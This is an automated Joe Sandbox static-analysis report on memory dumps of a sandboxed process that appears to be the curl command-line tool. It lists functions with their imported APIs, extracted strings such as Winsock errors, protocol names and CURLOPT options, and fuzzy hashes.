Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction ID: cf23d8c8187a0a8fdeef44ae7ef9876280e6f6e326c7f4678493de9a1950140f
Opcode Fuzzy Hash: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction Fuzzy Hash: F5D0C9366221038BDF09CE29C0A093AB3B0AF87704B65A49D9801DB241C622EC02DA04

Function 00379F70 Relevance: 154.3, APIs: 26, Strings: 62, Instructions: 311stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(003748B2,?,00000000), ref: 00379F7F
_errno.MSVCRT ref: 00379F89
strerror.MSVCRT ref: 00379FAC
strncpy.MSVCRT ref: 00379FBB
GetLastError.KERNEL32 ref: 00379FC8
_errno.MSVCRT ref: 00379FD2
strncpy.MSVCRT ref: 0037A1F6
_errno.MSVCRT ref: 0037A205
_errno.MSVCRT ref: 0037A212
GetLastError.KERNEL32 ref: 0037A21A
SetLastError.KERNEL32(?), ref: 0037A229
strrchr.MSVCRT ref: 0037A239
strrchr.MSVCRT ref: 0037A254
_errno.MSVCRT ref: 0037A26B
_errno.MSVCRT ref: 0037A275
GetLastError.KERNEL32 ref: 0037A27D
SetLastError.KERNEL32(?), ref: 0037A28C

Strings

Network has been reset, xrefs: 0037A11C
Socket has been shut down, xrefs: 0037A158
Bad access, xrefs: 0037A05E
Address family not supported, xrefs: 0037A0EA
SEC_E_INVALID_HANDLE, xrefs: 0037A3AC
Socket is already connected, xrefs: 0037A144
Host unreachable, xrefs: 0037A18F
Too many users, xrefs: 0037A1A4
Invalid arguments, xrefs: 0037A072
Socket is unsupported, xrefs: 0037A0CC
Unknown error, xrefs: 0037A645
Connection was aborted, xrefs: 0037A126
Bad argument, xrefs: 0037A068
%s - %s, xrefs: 0037A6C1
Winsock library is not ready, xrefs: 0037A1C0
Disconnected, xrefs: 0037A1D5
Protocol is unsupported, xrefs: 0037A0C2
Bad quota, xrefs: 0037A1AB
Protocol family not supported, xrefs: 0037A0E0
Out of file descriptors, xrefs: 0037A07C
Not empty, xrefs: 0037A196
SEC_E_NOT_OWNER, xrefs: 0037A3DE
Call would block, xrefs: 0037A086
Operation not supported, xrefs: 0037A0D6
Address not available, xrefs: 0037A0FE
Winsock library not initialised, xrefs: 0037A1CE
Bad file, xrefs: 0037A054
Loop??, xrefs: 0037A17A
Something is stale, xrefs: 0037A1B2
Need destination address, xrefs: 0037A09A
SEC_E_INTERNAL_ERROR, xrefs: 0037A3CA
Blocking call in progress, xrefs: 00379FF4
Winsock version not supported, xrefs: 0037A1C7
Network unreachable, xrefs: 0037A112
Connection was reset, xrefs: 0037A130
Unrecoverable error in call to nameserver, xrefs: 0037A1E3
SEC_E_CANNOT_INSTALL, xrefs: 0037A3E8
Connection refused, xrefs: 0037A173
Name too long, xrefs: 0037A181
Socket is not connected, xrefs: 0037A14E
Timed out, xrefs: 0037A16C
Network down, xrefs: 0037A108
No buffer space, xrefs: 0037A13A
Process limit reached, xrefs: 0037A19D
Host not found, try again, xrefs: 0037A1DC, 0037A1F4
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 0037A3B6
SEC_E_INSUFFICIENT_MEMORY, xrefs: 0037A2FC
Host not found, xrefs: 0037A010
Host down, xrefs: 0037A188
Protocol option is unsupported, xrefs: 0037A0B8
%s (0x%08X), xrefs: 0037A646
Descriptor is not a socket, xrefs: 0037A090
Bad message size, xrefs: 0037A0A4
SEC_E_SECPKG_NOT_FOUND, xrefs: 0037A3D4
SEC_E_TARGET_UNKNOWN, xrefs: 0037A3C0
No data record of requested type, xrefs: 0037A1EA
Address already in use, xrefs: 0037A0F4
Call interrupted, xrefs: 00379FE8
Bad protocol, xrefs: 0037A0AE
Remote error, xrefs: 0037A1B9
Too many references, xrefs: 0037A162
Unknown error %d (%#x), xrefs: 0037A03C

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strncpystrrchr$strerror
String ID: %s (0x%08X)$%s - %s$Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$SEC_E_CANNOT_INSTALL$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_NOT_OWNER$SEC_E_SECPKG_NOT_FOUND$SEC_E_TARGET_UNKNOWN$SEC_E_UNSUPPORTED_FUNCTION$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unknown error$Unknown error %d (%#x)$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 3913568843-2339563239
Opcode ID: 987dbc99236db0d71aa213616b8b2d12e4a3bd0324396f6da14449fd2f256332
Instruction ID: fbd16609df1daaecf5072423e6a71a2460168750008068732e031ac2238f9098
Opcode Fuzzy Hash: 987dbc99236db0d71aa213616b8b2d12e4a3bd0324396f6da14449fd2f256332
Instruction Fuzzy Hash: 0CA1817238CA4097E73A6E58DC4572F3A5BDBC1302F958275B94A9B6C1F62C9E00D623

Function 00363120 Relevance: 51.2, APIs: 20, Strings: 9, Instructions: 454stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0036317A
strlen.MSVCRT ref: 003631A2
strpbrk.MSVCRT ref: 003631C7
malloc.MSVCRT ref: 00363202
strncpy.MSVCRT ref: 00363217
strncmp.MSVCRT ref: 0036323A
strlen.MSVCRT ref: 00363337
malloc.MSVCRT ref: 00363343
strncpy.MSVCRT ref: 00363358
free.MSVCRT ref: 00363604
strlen.MSVCRT ref: 00363611
free.MSVCRT ref: 0036361E

Strings

COM, xrefs: 00363497
CON, xrefs: 00363412
CLOCK$, xrefs: 0036347E
AUX, xrefs: 0036344C
\\?\, xrefs: 00363234
LPT, xrefs: 003634AB
NUL, xrefs: 00363465
\/:, xrefs: 003631C1, 00363397, 00363545
PRN, xrefs: 0036342F

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$freemallocstrncpy$strncmpstrpbrk
String ID: AUX$CLOCK$$COM$CON$LPT$NUL$PRN$\/:$\\?\
API String ID: 2260474773-1589196987
Opcode ID: 2b7cb716aaca224bcf7e75ef606b53ad21655d015d07a67acf22cc7e34a3bd75
Instruction ID: 62c9d2478ffe1dfc2c8545523321f7403479082419cb65500468ac10eee8eb7c
Opcode Fuzzy Hash: 2b7cb716aaca224bcf7e75ef606b53ad21655d015d07a67acf22cc7e34a3bd75
Instruction Fuzzy Hash: 49D18EA1A043445BEB375525DC86BBB77D99F92344F0AC438EEC68B386E729DF008253

Function 0036EB10 Relevance: 51.0, APIs: 5, Strings: 24, Instructions: 266stringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?,?,?,?,?,00368401,?,?), ref: 0036EB26
strtok.MSVCRT(00000000,006090B0), ref: 0036EB3E
strtok.MSVCRT(00000000,006090B0), ref: 0036EE8E
free.MSVCRT ref: 0036EEA1
free.MSVCRT ref: 0036EEAE

Strings

unrecognized protocol '%s', xrefs: 0036EE70
file, xrefs: 0036ECE9
gopher, xrefs: 0036EDD4
ldap, xrefs: 0036EC98
dict, xrefs: 0036ECCE
ftp, xrefs: 0036EC11
sftp, xrefs: 0036EC62
http, xrefs: 0036EBDB
https, xrefs: 0036EBF6
smbs, xrefs: 0036EE02
ftps, xrefs: 0036EC2C
smtp, xrefs: 0036ED8B
pop3s, xrefs: 0036ED70
imap, xrefs: 0036ED1F
telnet, xrefs: 0036EC7D
scp, xrefs: 0036EC47
imaps, xrefs: 0036ED3A
rtsp, xrefs: 0036EDBD
ldaps, xrefs: 0036ECB3
pop3, xrefs: 0036ED55
smtps, xrefs: 0036EDA6
all, xrefs: 0036EBC0
tftp, xrefs: 0036ED04
smb, xrefs: 0036EDEB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: freestrtok$_strdup
String ID: all$dict$file$ftp$ftps$gopher$http$https$imap$imaps$ldap$ldaps$pop3$pop3s$rtsp$scp$sftp$smb$smbs$smtp$smtps$telnet$tftp$unrecognized protocol '%s'
API String ID: 1031179057-350857173
Opcode ID: cc110c3de822e55abf6a5a209dfa55c2a4b0660e1d208a9fa95044b117a6d614
Instruction ID: e90256c734847683d8227b2130fe0120253d04868bde963791433d2128c719cc
Opcode Fuzzy Hash: cc110c3de822e55abf6a5a209dfa55c2a4b0660e1d208a9fa95044b117a6d614
Instruction Fuzzy Hash: 8871C9F9B8030716DB2A29706C56B2B3D5F8B52744F068874FD0AEE3C7F656D9084276

Function 003615D0 Relevance: 45.9, APIs: 10, Strings: 16, Instructions: 409stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003715C0: GetTickCount.KERNEL32 ref: 003715C0

time.MSVCRT(00000000), ref: 0036160C
localtime.MSVCRT(?), ref: 0036162D
strcmp.MSVCRT ref: 00361724
strcmp.MSVCRT ref: 0036173A
fopen.MSVCRT ref: 00361750

Strings

<= Recv SSL data, xrefs: 003618D3
[%zu bytes data], xrefs: 003616F7
<= Recv data, xrefs: 003618C5
%02d:%02d:%02d.%06ld , xrefs: 00361642
=> Send data, xrefs: 003618CC
>{}, xrefs: 0036185F, 00361AB6
%s%s , xrefs: 003616E4, 003617C2, 00361869, 00361ABC
%04zx: , xrefs: 00361931
=> Send SSL data, xrefs: 003618DA
<= Recv header, xrefs: 003618BE, 003618FA
%02x , xrefs: 0036196C
Qh)!_, xrefs: 003619EE
Failed to create/open output, xrefs: 00361767
%s%s, %zu bytes (0x%zx), xrefs: 003618FC
%s== Info: %s, xrefs: 00361795
=> Send header, xrefs: 00361783

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strcmp$CountTickfopenlocaltimetime
String ID: %02d:%02d:%02d.%06ld $%02x $%04zx: $%s%s $%s%s, %zu bytes (0x%zx)$%s== Info: %s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$>{}$Failed to create/open output$Qh)!_$[%zu bytes data]
API String ID: 1854772924-54448244
Opcode ID: 86ccae1e3df529760ee0717fb96e8da6e9b9ee1e820e48a0f4367ca1fba613e0
Instruction ID: 12b7639925686537996373f97b5ecae6b80aeb0d89f279b7497f25df84a8dc51
Opcode Fuzzy Hash: 86ccae1e3df529760ee0717fb96e8da6e9b9ee1e820e48a0f4367ca1fba613e0
Instruction Fuzzy Hash: D4C139B1908304AFDB21EF54CC45B777BE9EB85304F18882DF9858724AEBB5D984C792

Function 00361B10 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 346fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00361B6B
fflush.MSVCRT ref: 00361B7E
memchr.MSVCRT ref: 00361EBE

Strings

%.*s:, xrefs: 00361ED4
Failed to rename %s -> %s: %s, xrefs: 00361DD1
Content-disposition:, xrefs: 00361BB8
filename=, xrefs: 00361BF2

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fflushfwritememchr
String ID: %.*s:$Content-disposition:$Failed to rename %s -> %s: %s$filename=
API String ID: 2783944976-1855582235
Opcode ID: 528e32f8cdd89bf8c2d5a4b0bb3d456632c95d9d6797eb37024894ff12cf8728
Instruction ID: 766533bcd5e0a56014fcdb05a53bf9e3f9557982d50d3c5053002bf2375b1af2
Opcode Fuzzy Hash: 528e32f8cdd89bf8c2d5a4b0bb3d456632c95d9d6797eb37024894ff12cf8728
Instruction Fuzzy Hash: 6DB139B19003416FEB229F24CC85B6B7BA8BF90345F0D8528FC499B256E776DD14C7A2

Function 0036BC34 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 298COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
free.MSVCRT ref: 0036E274

Part of subcall function 00370260: strcmp.MSVCRT ref: 0037029F
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702B5
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702CB
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702E1
Part of subcall function 00370260: strcmp.MSVCRT ref: 003702F7
Part of subcall function 00370260: strcmp.MSVCRT ref: 0037030D
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370323
Part of subcall function 00370260: strcmp.MSVCRT ref: 00370339

Part of subcall function 00370260: free.MSVCRT ref: 003704BD

free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Strings

CURLOPT_MAXREDIRS, xrefs: 0036BC91
CURLOPT_TRANSFER_ENCODING, xrefs: 0036BD95
t-h{`, xrefs: 0036BD55
CURLOPT_POSTREDIR, xrefs: 0036BD2A
(%d) Failed writing body, xrefs: 0036AFC9
CURLOPT_PROXYHEADER, xrefs: 0036BC3A
Hj, xrefs: 0036ADB6
CURLOPT_HTTP_VERSION, xrefs: 0036BCD9
P"-, xrefs: 0036E318
CURLOPT_HEADEROPT, xrefs: 0036BC62
CURLOPT_HTTP09_ALLOWED, xrefs: 0036BDC7
t70, xrefs: 0036B183
CURLOPT_ACCEPT_ENCODING, xrefs: 0036BD61

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: (%d) Failed writing body$CURLOPT_ACCEPT_ENCODING$CURLOPT_HEADEROPT$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_MAXREDIRS$CURLOPT_POSTREDIR$CURLOPT_PROXYHEADER$CURLOPT_TRANSFER_ENCODING$P"-$t-h{`$t70$Hj
API String ID: 3512857261-2676848962
Opcode ID: bd4c43eb0d4e0fa02b61eb5aceda297d8f9f160723d9a42c05a95ed8018c9461
Instruction ID: 4e9981cf45436f9facc8d50dd3ba768670873b780d1f3efc3f2a704724b50c4b
Opcode Fuzzy Hash: bd4c43eb0d4e0fa02b61eb5aceda297d8f9f160723d9a42c05a95ed8018c9461
Instruction Fuzzy Hash: F3C19FB1608341AFEB269F14CC55B5BBBE1AF80704F05882CF589AB2A5E775D848DF43

Function 0036FC40 Relevance: 40.9, APIs: 8, Strings: 19, Instructions: 366stringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036FCBC
free.MSVCRT ref: 0036FD86
free.MSVCRT ref: 0036FDDA
free.MSVCRT ref: 0036FF23
free.MSVCRT ref: 0036FF65
free.MSVCRT ref: 0036FFA8

Part of subcall function 0036FC40: free.MSVCRT ref: 0036FED9

strcmp.MSVCRT ref: 00370086

Strings

curl_mime_filename(part%d, "%s");, xrefs: 0036FF44
curl_mime_headers(part%d, slist%d, %d);, xrefs: 0037000E
curl_mime_subparts(part%d, mime%d);, xrefs: 0036FE93
curl_mime_name(part%d, "%s");, xrefs: 0036FF87
slist%d = NULL;, xrefs: 00370033
mime%d = curl_mime_init(hnd);, xrefs: 0036FC8B
part%d = curl_mime_addpart(mime%d);, xrefs: 0036FD21
curl_mimepart *part%d;, xrefs: 0036FCF4
curl_mime_filename(part%d, NULL);, xrefs: 003700D6
curl_mime_data(part%d, "%s", %I64d);, xrefs: 0036FDB7
(curl_seek_callback) fseek, NULL, stdin);, xrefs: 0036FE4A
curl_mime_free(mime%d);, xrefs: 0036FCA3
mime%d = NULL;, xrefs: 0036FC73, 0036FCD0, 0036FEAE
curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \, xrefs: 0036FE30
curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);, xrefs: 003700A4
curl_mime_filedata(part%d, "%s");, xrefs: 0036FDFC
curl_mime_type(part%d, "%s");, xrefs: 0036FFCA
curl_mime_encoder(part%d, "%s");, xrefs: 0036FEFD
curl_mime *mime%d;, xrefs: 0036FC59

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$strcmp
String ID: (curl_seek_callback) fseek, NULL, stdin);$curl_mime *mime%d;$curl_mime_data(part%d, "%s", %I64d);$curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);$curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \$curl_mime_encoder(part%d, "%s");$curl_mime_filedata(part%d, "%s");$curl_mime_filename(part%d, "%s");$curl_mime_filename(part%d, NULL);$curl_mime_free(mime%d);$curl_mime_headers(part%d, slist%d, %d);$curl_mime_name(part%d, "%s");$curl_mime_subparts(part%d, mime%d);$curl_mime_type(part%d, "%s");$curl_mimepart *part%d;$mime%d = NULL;$mime%d = curl_mime_init(hnd);$part%d = curl_mime_addpart(mime%d);$slist%d = NULL;
API String ID: 507678545-2381200950
Opcode ID: 625c74a164462ec0d4496135cf325d30ea20f5126a37d6ddc65e9447fdb5c5d6
Instruction ID: f73fb64e3231df385621138a33ce344bce104a0c9d3d14c42456ef2e77741fe2
Opcode Fuzzy Hash: 625c74a164462ec0d4496135cf325d30ea20f5126a37d6ddc65e9447fdb5c5d6
Instruction Fuzzy Hash: 51C188B4644349AFDB26BF64AC42F6B73A69F14354F028138FC548B28AF771CD948762

Function 0036A7DA Relevance: 40.5, APIs: 16, Strings: 7, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?), ref: 0036A7DE
fwrite.MSVCRT ref: 0036AA42
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
strcmp.MSVCRT ref: 0036E18E
free.MSVCRT ref: 0036E1D3

Strings

curl: (%d) %s, xrefs: 0036AA19
P"-, xrefs: 0036E318
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 0036AA3D
bad output glob!, xrefs: 0036E1E7
(%d) Failed writing body, xrefs: 0036AFC9
<, xrefs: 0036AA4A
t70, xrefs: 0036B183

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefwritestrcmp
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$bad output glob!$curl: (%d) %s$t70
API String ID: 97970600-567622460
Opcode ID: 813a359529c46d1e8eb8baba6640710771f97daf8710dacebdee9ffd1f0fa648
Instruction ID: 963a2ce6f03e13b16f473d125e5b6618531f51f6d898ee10c4077bb905c2528f
Opcode Fuzzy Hash: 813a359529c46d1e8eb8baba6640710771f97daf8710dacebdee9ffd1f0fa648
Instruction Fuzzy Hash: 5EA16EF55083419BEB229F21C849B5BBBE5BF80304F15882CF489AB295E775D948CF93

Function 0036A5DD Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 275stringfileCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0036A201
fclose.MSVCRT ref: 0036A233
free.MSVCRT ref: 0036A24C
strcmp.MSVCRT ref: 0036A63A
strcmp.MSVCRT ref: 0036A8CA
fwrite.MSVCRT ref: 0036AA42
_fileno.MSVCRT ref: 0036AB4A
_isatty.MSVCRT ref: 0036AB53
strstr.MSVCRT ref: 0036AC03
strrchr.MSVCRT ref: 0036AC16
strchr.MSVCRT ref: 0036AC25
free.MSVCRT ref: 0036AC6D
strcmp.MSVCRT ref: 0036ACA1
fclose.MSVCRT ref: 0036AF92
free.MSVCRT ref: 0036B116
free.MSVCRT ref: 0036B12A
_close.MSVCRT ref: 0036B145
_strdup.MSVCRT(00000000), ref: 0036E127
_strdup.MSVCRT(00000000), ref: 0036E152
strcmp.MSVCRT ref: 0036E18E
free.MSVCRT ref: 0036E1D3
free.MSVCRT ref: 0036E274
free.MSVCRT ref: 0036E305
free.MSVCRT ref: 0036E32F
free.MSVCRT ref: 0036E341
free.MSVCRT ref: 0036E353

Strings

P"-, xrefs: 0036E318
9, xrefs: 0036A684
bad output glob!, xrefs: 0036E1E7
(%d) Failed writing body, xrefs: 0036AFC9
t70, xrefs: 0036B183

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
